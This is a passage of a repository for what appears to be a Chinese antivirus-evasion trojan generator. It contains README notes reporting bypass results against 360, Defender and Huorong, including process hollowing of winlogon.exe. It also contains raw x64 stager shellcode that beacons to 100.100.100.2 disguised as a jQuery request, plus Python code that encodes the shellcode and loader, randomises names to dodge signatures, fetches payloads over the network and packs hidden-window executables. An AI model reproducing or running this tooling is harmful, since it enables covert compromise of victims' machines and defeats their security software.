1.因为使用了动态导入,所以shellcode.py文件名中不能有多余的点号. 71 | 72 | 73 | 74 | # 2023.5.15更新 75 | 76 | *** 77 | 78 | 发现部分杀软已经能查杀,更新一波。 79 | 80 | 360鲲鹏,无感知上线和执行普通命令,新增用户等高危命令会告警,需要结合其它技术绕过。 81 | 82 | ![image-20230515122955343](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230515122955343.png) 83 | 84 | ![image-20230515122503214](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230515122503214.png) 85 | 86 | 360核晶物理机上测试: 87 | 88 | 和火绒差不多的效果,可以稳定上线执行普通命令,执行添加用户等会被告警。 89 | 90 | ![image-20230517183614085](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230517183614085.png) 91 | 92 | defender: 93 | 94 | 使用进程镂空winlogon.exe,结合malleable-c2项目修改CS默认特征,可以无感知上线,执行shell命令会被defender告警病毒,但不主动查杀,只提示重启: 95 | 96 | ![image-20230515120833534](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230515120833534.png) 97 | 98 | 火绒: 99 | 100 | 发现火绒把变量名当成静态特征查杀。。。增加了一些随机特性绕过火绒的静态特征查杀,火绒已经会对进程镂空winlogon.exe进行查杀,但镂空其他进程不会查杀,遇到火绒可以直接使用普通模式的那几个shellcode加载器。 101 | 102 | 更新后无感知上线和执行命令,不过新增用户等高危操作依然不可用,需要结合其它技术。 103 | 104 | ![image-20230515122042417](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230515122042417.png) 105 | 106 | VT: 107 | 108 | VT上有些厂家已经把pyinstaller打包的程序都当成病毒了,所以很难做到更低的免杀率: 109 | 110 | ![image-20230515124901099](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230515124901099.png) -------------------------------------------------------------------------------- /config/payloadJQuery.py: -------------------------------------------------------------------------------- 1 | # length: 927 bytes 2 | buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x32\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x29\x40\xbd\xfc\x22\x11\xfa\x98\x41\xfa\xcf\x10\x8e\xa9\x9f\xd1\x07\x69\x89\x6c\x04\xe9\x7f\x71\x6e\x40\xf1\xb6\xd0\xb5\x8e\xbd\x44\xe5\x89\x41\x02\xf5\x7a\x59\xc5\xd9\x3b\x66\x59\x98\x67\x0e\x87\x81\xc5\x96\x90\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x33\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x4f\x8e\xf6\xf5\x9e\xc4\x38\xb0\x13\x15\x12\xce\xdf\x83\xaa\x55\xdf\x6d\x79\x80\x23\x88\x0e\xd0\xa9\x3f\x69\x84\xe0\x45\xd4\xe7\xac\xad\x03\x75\x03\xc8\x51\x5e\xc9\x72\x09\x19\x08\x21\xbc\x38\xd1\x2d\x5b\xdf\x07\xdb\x4d\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xaf\x0f\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x30\x30\x2e\x31\x30\x30\x2e\x31\x30\x30\x2e\x32\x00\x17\x50\x65\xea" 3 | -------------------------------------------------------------------------------- /shellcoder.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | 3 | #1.buf=shellcode,这里的shellcode就是最终运行需要的shellcode 4 | import json 5 | import os 6 | import re 7 | import shutil 8 | from shellcodeLoader import ProcessHollowingSave 9 | 10 | buf='' 11 | 12 | 13 | 14 | 15 | def main(enc=False,mode='',payloadFile='',url='',otherdic=dict(),onlybuf=False): 16 | global buf 17 | 18 | if payloadFile: 19 | buf=readPayload(payloadFile,otherdic) 20 | 21 | if not buf: 22 | return '' 23 | 24 | if onlybuf: 25 | return buf 26 | 27 | #1.确保buf是unicode,此处是为了兼容CS和MSF 28 | if isinstance(buf,str): 29 | buf=buf.encode('latin1') 30 | 31 | #2.此处使用了指定的加解密器中的Encode方法来加密shellcode 32 | data='' 33 | key='' 34 | if enc: 35 | md=importlib.import_module(f'Encoder.{enc}'.replace('.py','')) 36 | buf=md.Encode(buf) 37 | key=md.key 38 | 39 | #3如果启用了本地或远程文件分离,将加密后的shellcode写入PayloadFile 40 | if mode: 41 | WriteShellcode(buf) 42 | 43 | #3.如果使用文件分离,那么久返回对应的函数,如果不使用文件分离,则直接返回shellcode 44 | if not mode: 45 | buf=f'bbbbbbbb={buf}' 46 | elif mode=='local': 47 | buf=fileMode() 48 | elif mode=='network': 49 | buf=networkMode(url) 50 | 51 | # print(f'原始shellcoder:\n{buf}\n'+'-'*80) 52 | return buf 53 | 54 | 55 | def WriteShellcode(buf): 56 | file=os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+'PayloadFile' 57 | try: 58 | os.makedirs(os.path.dirname(file)) 59 | except: 60 | pass 61 | with open(file,'wb') as f: 62 | f.write(buf) 63 | 64 | 65 | def ReadShellcode(): 66 | global buf 67 | file=os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+'PayloadFile' 68 | try: 69 | os.makedirs(os.path.dirname(file)) 70 | except: 71 | pass 72 | with open(file,'rb') as f: 73 | buf2=f.read() 74 | 75 | if not buf2: 76 | buf=buf2 77 | return buf2 78 | 79 | 80 | def fileMode(): 81 | buf=f""" 82 | with open('PayloadFile','r') as f: 83 | bbbbbbbb=f.read().encode('latin1') 84 | """ 85 | return buf 86 | 87 | 88 | def networkMode(url=''): 89 | import requests 90 | if url: 91 | r=requests.get(url) 92 | if r.status_code==200: 93 | buf=r.content.decode('latin1').encode('latin1') 94 | 95 | buf=f"""import requests 96 | r=requests.get('{url}') 97 | if r.status_code==200: 98 | bbbbbbbb=r.content.decode().encode('latin1')""" 99 | 100 | else: 101 | buf=f"""import requests 102 | r=requests.get(url) 103 | if r.status_code==200: 104 | bbbbbbbb=r.content.decode().encode('latin1')""" 105 | 106 | return buf 107 | 108 | 109 | def readPayload(payloadFile,otherdic=dict()): 110 | 111 | buf='' 112 | if re.search('\.py',payloadFile): 113 | #py文件,将其拷贝到temp目录 114 | 115 | targetFile=os.path.dirname(os.path.abspath(__file__))+os.sep+f'temp{os.sep+os.path.basename(payloadFile)}' 116 | try: 117 | os.makedirs(os.path.dirname(targetFile)) 118 | except: 119 | pass 120 | shutil.copy(payloadFile,targetFile) 121 | #直接动态import 122 | targetFile=f'temp.{os.path.basename(payloadFile)}'.replace('.py','') 123 | 124 | md=importlib.import_module(targetFile) 125 | buf=md.buf 126 | 127 | elif re.search('\.exe',payloadFile): 128 | #exe文件,读取PE信息 129 | buf=ProcessHollowingSave.getPayload(payloadFile) 130 | 131 | if isinstance(otherdic,dict): 132 | buf.update(otherdic) 133 | buf=json.dumps(buf) 134 | 135 | else: 136 | print('pass') 137 | 138 | return buf 139 | if __name__ == '__main__': 140 | 141 | a=main('base64Enc','network',r"D:\BaiduSyncdisk\dyb\a_penetration\kali_tools\my_project\project\BypassAV\风暴免杀\config\artifact.exe",'',{'TARGET_EXE':'winlogon.exe'}) 142 | print(a) 143 | 144 | -------------------------------------------------------------------------------- /cmdcoder.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | import inspect 3 | import os 4 | import sys 5 | sys.path.append(os.path.abspath(os.path.dirname(__file__))+'/shellcodeLoader') 6 | import re 7 | 8 | 9 | def getcmd(shellcodeloader='VirtualAlloc1',encType=''): 10 | #获取shellcodeLoader目录下的shellcode加载器代码,只会获取所有自定义方法,从main方法开始执行(因此你自己编写的shellcode加载器可以自定义多个方法但必须从main方法中开始调用其他方法) 11 | md=importlib.import_module(f'shellcodeLoader.{shellcodeloader}'.replace('.py','')) 12 | cmd='' 13 | fun=dir(md) 14 | # print(inspect.getsource(md)) 15 | cmd_=inspect.getsource(md).split('\n') 16 | stop=0 17 | for line in cmd_: 18 | if re.search(r"__main__",line): 19 | stop=1 20 | elif stop==1 and re.match('\w\W',line): 21 | stop=0 22 | 23 | 24 | if stop==0 and line: 25 | cmd+=line+'\n' 26 | 27 | # for f in fun: 28 | # if inspect.isfunction(eval(f'md.{f}')): 29 | # cmd+=inspect.getsource(eval(f'md.{f}'))+'\n' 30 | # elif inspect.isclass(eval(f'md.{f}')): 31 | # try: 32 | # cmd+=inspect.getsource(eval(f'md.{f}')) 33 | # except: 34 | # pass 35 | # else: 36 | # if inspect.istraceback(eval(f'md.{f}')): 37 | # print(f) 38 | #判断是否使用了加解密器,如果有指定加解密器,那么shellcode加载器的代码也会被该加解密器的Encode方法加密,运行时再通过该加解密器的Decode方法解密还原。 39 | EncCmd='' 40 | if encType: 41 | EncCmd=importlib.import_module(f'Encoder.{encType}'.replace('.py','')).Encode(cmd.encode()) 42 | 43 | print(f'原始CMD:\n{cmd}\n'+'-'*80) 44 | return EncCmd if EncCmd else cmd 45 | 46 | 47 | def getDecodecmd(encType=''): 48 | #如果指定了加解密器,那么会获取该加解密器的Decode方法的源代码,用于写入最终的木马脚本中(这样才能解密) 49 | EncCmd='' 50 | if encType: 51 | EncCmd=inspect.getsource(importlib.import_module(f'Encoder.{encType}'.replace('.py','')).Decode) 52 | 53 | return EncCmd if EncCmd else '' 54 | 55 | 56 | def getImport(shellcodeloader='VirtualAlloc1',encType=''): 57 | #获取所有需要import的包,最终生成的木马脚本中需要import的内容 58 | file=f'shellcodeLoader/{shellcodeloader}'.replace('.py','')+'.py' 59 | s=set() 60 | result='' 61 | #1.添加上base64、random、time,这3个是后期处理时使用过的包 62 | other=['import base64','import sys','import random','import os','import time'] 63 | for line in other: 64 | result+=line.strip()+'\n' 65 | s.add(line.strip()) 66 | 67 | #2.从shellcode加载器中获取需要import的包 68 | with open(file,'r',encoding='utf-8') as f: 69 | for line in f: 70 | if re.search(r'^import|^from[\w\W]*import',line): 71 | if line.strip() in s: 72 | continue 73 | result+=line.strip()+'\n' 74 | s.add(line.strip()) 75 | #3.如果有指定加解密器,从Encoder目录下的加解密器中获取需要import的包 76 | if encType: 77 | file=f'Encoder/{encType}.py' 78 | with open(file,'r',encoding='utf-8') as f: 79 | for line in f: 80 | if re.search(r'^import|^from[\w\W]*import',line.strip()): 81 | if line.strip() in s: 82 | continue 83 | result+=line.strip()+'\n' 84 | s.add(line.strip()) 85 | 86 | 87 | return result 88 | 89 | def getModulName(shellcodeloader='VirtualAlloc1',encType=''): 90 | #获取所有需要import的包的名字,用于自动pyinstaller打包时指定--import-module 91 | s=set() 92 | #1.从shellcode加载器中获取 93 | md=importlib.import_module(f'shellcodeLoader.{shellcodeloader}'.replace('.py','')) 94 | fun=dir(md) 95 | # print(fun) 96 | for f in fun: 97 | if inspect.ismodule(eval(f'md.{f}')): 98 | s.add(f) 99 | #2.如果有使用加解密器,从加解密器中获取 100 | if encType: 101 | md=importlib.import_module(f'Encoder.{encType}'.replace('.py','')) 102 | fun=dir(md) 103 | print(fun) 104 | for f in fun: 105 | if inspect.ismodule(eval(f'md.{f}')): 106 | s.add(f) 107 | return s 108 | 109 | if __name__ == '__main__': 110 | # a=getcmd('process-hollowing-test') 111 | a=getcmd('VirtualAlloc1.py','base64Enc') 112 | print(a) 113 | # 114 | 115 | 116 | # imp=getImport('VirtualAlloc1','base64Enc') 117 | # print(imp) 118 | 119 | # mod=getModulName('test','base64Enc') 120 | # print(mod) -------------------------------------------------------------------------------- /Encoder/base64Enc.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import random 3 | key=random.randint(1,100) 4 | print('key:',key) 5 | 6 | info="base64加解密器只使用了简单的base64编码,加上随机的位移反转,在免杀效果上越是趋向应用的简单方式反而越有效,选择加解密器后shellcode和shellcode加载器都会采用加解密器的函数进行加密,如果不启用,那么默认也会将所有代码简单base64,运行时解码后通过eval来将字符串当作代码执行。" 7 | 8 | def Encode(data): 9 | data=base64.b64encode(data) 10 | data=data[key:]+data[:key] 11 | return data 12 | 13 | 14 | def Decode(data,cmd=False,key=0): 15 | data=data[len(data)-key:]+data[:len(data)-key] 16 | if cmd: 17 | data=base64.b64decode(data,validate=True).decode() 18 | else: 19 | data=base64.b64decode(data) 20 | 21 | return data 22 | 23 | 24 | 25 | 26 | if __name__ == '__main__': 27 | buf=b'\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x33\x65\x54\x71\x00\xe4\x88\x21\xee\xdf\xe4\x82\x76\x98\x70\x09\xf2\x86\x57\x45\x1e\xac\x0d\x16\x09\x54\x33\x41\x9e\xe2\x94\x88\xe0\x55\x3b\xc3\x7f\x4e\x28\x47\xbc\xbc\x34\x28\x46\x7a\xb0\xe9\x4b\x8f\x0b\x00\x2d\x02\x5e\xb5\x0e\xcd\x24\x3d\xe3\x38\xb8\xe3\x24\x09\x77\x36\x3a\x77\xec\xf2\xa0\xd7\xa0\x26\x7f\x7b\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x28\xf4\x87\x4d\x27\x7d\x27\xbe\xf7\x05\x50\xdd\xf5\xc5\xac\x4c\xfa\x39\xcf\xe4\x27\x7d\x1d\x6f\x68\xec\x45\xb0\xef\xc3\x54\x1a\xe6\xc8\xea\xdc\x26\x66\x6d\xb8\xbe\xca\x49\x0b\xa7\xc0\xdc\xf2\x9f\x6a\x22\xc4\x64\x2f\x95\xfb\xc6\x0c\x59\x2f\xcc\xa6\xb6\xf7\x20\xc1\x1a\xaa\x58\xd0\x4a\x28\x00\x3f\x01\x56\x4c\x44\x24\xfa\x47\x96\x56\x21\x21\xb9\x57\x23\xe9\x23\x8d\xea\x8d\xc8\xdf\x29\x67\xed\x0c\x59\xec\x65\x19\xe6\xab\x71\x55\x3b\xe8\x4b\x9e\x8b\x1f\x8a\x20\xd3\xf3\xd9\xed\xb1\xf5\x2c\x06\xa0\x0b\x6d\xf7\x1a\xda\x11\x48\xf9\x26\xd9\xb7\x00\x8e\x04\x08\x1b\x6c\x3f\x3f\x67\x14\x9d\x7a\x60\xf4\xce\x7e\x88\x28\x76\x26\xfc\xe4\xb6\x0e\xe1\xfb\x30\x62\xb5\x22\x06\x93\x11\xcf\xdc\xcc\xfc\x3c\x9c\xd7\xe2\x53\x1c\xc2\x70\x2d\xf3\x14\x23\xb7\xd8\xca\x8c\x01\x03\xf5\x4c\xee\x18\xc4\xe7\x8f\xdf\xcb\xbf\xe6\xa0\x33\x76\x40\x5f\x56\x3e\x59\xc6\xcc\x4e\xa0\xec\x34\x45\xe9\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x30\x30\x2e\x31\x30\x30\x2e\x31\x30\x30\x2e\x32\x00\x17\x50\x65\xea' 28 | 29 | a=Encode(buf) 30 | print(a) 31 | 32 | b=Decode(a) 33 | print(b) -------------------------------------------------------------------------------- /TrojanCreater.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | filepath=os.path.dirname(os.path.abspath(__file__))+'/shellcodeLoader' 4 | print(filepath) 5 | sys.path.append(filepath) 6 | import PyInstaller.__main__ 7 | import shellcoder 8 | import cmdcoder 9 | import base64 10 | import random 11 | import string 12 | import time 13 | 14 | class Creater(): 15 | def __init__(self,arg): 16 | self.loaderType=arg.get('shellcodeLoaderType') #shellcode加载器类型 17 | print(self.loaderType) 18 | self.encType=arg.get('cryptoType') #设置加密器类型 19 | self.mode=arg.get('spliteMode') #用于选择分离免杀shellcode的加载方式,不指定则不使用分离免杀,可以指定为从本地文件加载shellcode和网络加载shellcode 20 | self.payloadFile=arg.get('payloadFile') 21 | self.url=arg.get('url') 22 | arg.get('is_64') 23 | self.hiddenWindow=arg.get('is_hidden') 24 | self.savePyFile=arg.get('is_savePyFile') 25 | self.is_urlWriteIn=arg.get('is_urlWriteIn') 26 | 27 | if self.mode=='local': 28 | self.modeInfo='shellcode本地分离模式:' 29 | elif self.mode=='network': 30 | self.modeInfo='shellcode网络分离模式:' 31 | else: 32 | self.modeInfo='' 33 | 34 | self.shellcode=b'' 35 | self.cmdcode='' #获取shellcodeLoader目录下,shellcode加载器的main以及自定义函数中的代码,这些代码经过base64加密后会写入到最终的木马脚本中。 36 | self.deccode='' #获取Encoder目录下,加解密脚本的Decode函数中的代码,这些代码经过base64加密后会写入到最终的木马脚本中。 37 | self.importP='' #获取shellcodeLoader目录下,shellcode加载器所有import的内容,这些import需要写入最终的木马脚本中。 38 | self.modoleName=set() #获取shellcodeLoader和加解密器中所有import的模块名 39 | self.otherdic=arg.get('otherdic') 40 | 41 | def GetShellcode(self): 42 | #获取加密后的shellcode 43 | self.shellcode=shellcoder.main(self.encType,self.mode,self.payloadFile,self.url,self.otherdic) 44 | 45 | 46 | def GetShellcodeLoader(self): 47 | #获取shellcode加载器代码 48 | self.cmdcode=cmdcoder.getcmd(self.loaderType,self.encType) 49 | #获取解码器的代码 50 | self.deccode=cmdcoder.getDecodecmd(self.encType) 51 | #获取最终代码需要import的包:包含shellcode加载器中所有import、加解密器中所有import、以及额外的几个import 52 | self.importP=cmdcoder.getImport(self.loaderType) 53 | if self.mode=='network': 54 | self.importP+='import requests\n' 55 | #获取shellcodeLoader和加解密器中所有import的模块名 56 | self.modoleName=cmdcoder.getModulName(self.loaderType,self.encType) 57 | 58 | 59 | def RandomStr(self,cmd='',text=''): 60 | ramdbuf=''.join(random.sample(string.ascii_letters,random.randrange(5,10))) 61 | randcmd=''.join(random.sample(string.ascii_letters,random.randrange(5,10))) 62 | randhhhhhhhhhhhhhh=''.join(random.sample(string.ascii_letters,random.randrange(5,10))) 63 | 64 | cmd=cmd.replace('bbbbbbbb',ramdbuf).replace('aaaaaaaa',randcmd).replace('hhhhhhhhhhhhhh',randhhhhhhhhhhhhhh) 65 | text=text.replace('bbbbbbbb',ramdbuf).replace('aaaaaaaa',randcmd).replace('hhhhhhhhhhhhhh',randhhhhhhhhhhhhhh) 66 | 67 | return cmd,text 68 | 69 | def CreateTrojan(self): 70 | #生成最终运行的木马脚本 71 | 72 | #0.构造出加密后的shellcode、加密后的shellcode加载器代码、解密函数。key=random.randint(0,100)用于生成随机秘钥碰撞解密函数中的key 73 | cmd=f'{self.shellcode}\n' \ 74 | f'{self.deccode}\n' 75 | 76 | cmd+=f'aaaaaaaa ={self.cmdcode}\n' if self.encType else self.cmdcode 77 | 78 | cmd+=f'key =random.randint(0,100)\n' \ 79 | f'bbbbbbbb =Decode(bbbbbbbb ,False,key )\n' \ 80 | f'aaaaaaaa =Decode(aaaaaaaa ,True,key)\n' if self.encType else '' 81 | 82 | 83 | 84 | 85 | 86 | #2.构造最终的木马脚本:从self.importP获取需要import的包 87 | text='' 88 | text+=self.importP+'\n' 89 | #3.构造最终的木马脚本:给个for循环,加解密器可以实现随机碰撞,可参照base64Enc.py,核心代码使用eval来执行 90 | text+=f'{"" if self.is_urlWriteIn else "url=sys.argv[1]"}\n' \ 91 | f'for i in range(10000):\n' \ 92 | f' try:\n' \ 93 | f' eval(compile(base64.b64decode(qqqqqqqqq.decode()).decode(),"hhhhhhhhhhhhhh","exec"))' 94 | 95 | text+=f'\n eval(compile(aaaaaaaa ,"hhhhhhhhhhhhhh","exec"))\n main(bbbbbbbb)\n {"break" if self.loaderType=="ProcessHollowing.py" else ""}\n except FileNotFoundError:print("请将每次重新生成的PayloadFile文件放在本目录");time.sleep(3);break\n except:pass' 96 | 97 | 98 | #给构造出的代码变量增加一些随机性,火绒会拿变量名来做静态特征查杀。。。 99 | cmd,text=self.RandomStr(cmd,text) 100 | 101 | 102 | #1.将上面构造出的核心代码做一次base64编码。 103 | cmd=base64.b64encode(cmd.encode()) 104 | 105 | #将加密后的cmd替换到最终代码上 106 | text=text.replace('qqqqqqqqq',f'{cmd}') 107 | 108 | #print("{self.modeInfo}秘钥碰撞失败,如果多次运行程序还是失败,请确认已经将最新生成的PayloadFile放在本目录下(每次都会变化)") 109 | 110 | #4.按时间生成文件名 111 | self.file=time.strftime("%Y%m%d%H%M%S",time.localtime(time.time())) 112 | 113 | file=os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+self.file+'.py' 114 | try: 115 | os.makedirs(os.path.dirname(file)) 116 | except: 117 | pass 118 | # print(file) 119 | with open(file,'w',encoding='utf-8') as f: 120 | f.write(text) 121 | 122 | 123 | 124 | 125 | 126 | #5.使用pyinstaller打包 127 | PyInstaller.__main__.run([ 128 | f'result{os.sep}{self.file}.py', 129 | '-F', 130 | '--clean', 131 | f'--key={self.file}', #--key参数会将文件加密 132 | f'--hidden-import={",".join(self.modoleName)}', #--hidden-import可以隐藏import的包 133 | f'--distpath=result', 134 | f'{"--noconsole" if self.hiddenWindow else "-y"}' 135 | ]) 136 | 137 | time.sleep(1) 138 | os.remove(f'{self.file}.spec') 139 | 140 | def run(self): 141 | self.GetShellcode() 142 | self.GetShellcodeLoader() 143 | self.CreateTrojan() 144 | 145 | #弹出result文件夹 146 | os.startfile(os.path.dirname(os.path.abspath(__file__))+os.sep+'result') 147 | 148 | #删除.py文件 149 | if not self.savePyFile: 150 | try: 151 | os.remove(f'result{os.sep}{self.file}.py') 152 | except: 153 | pass 154 | 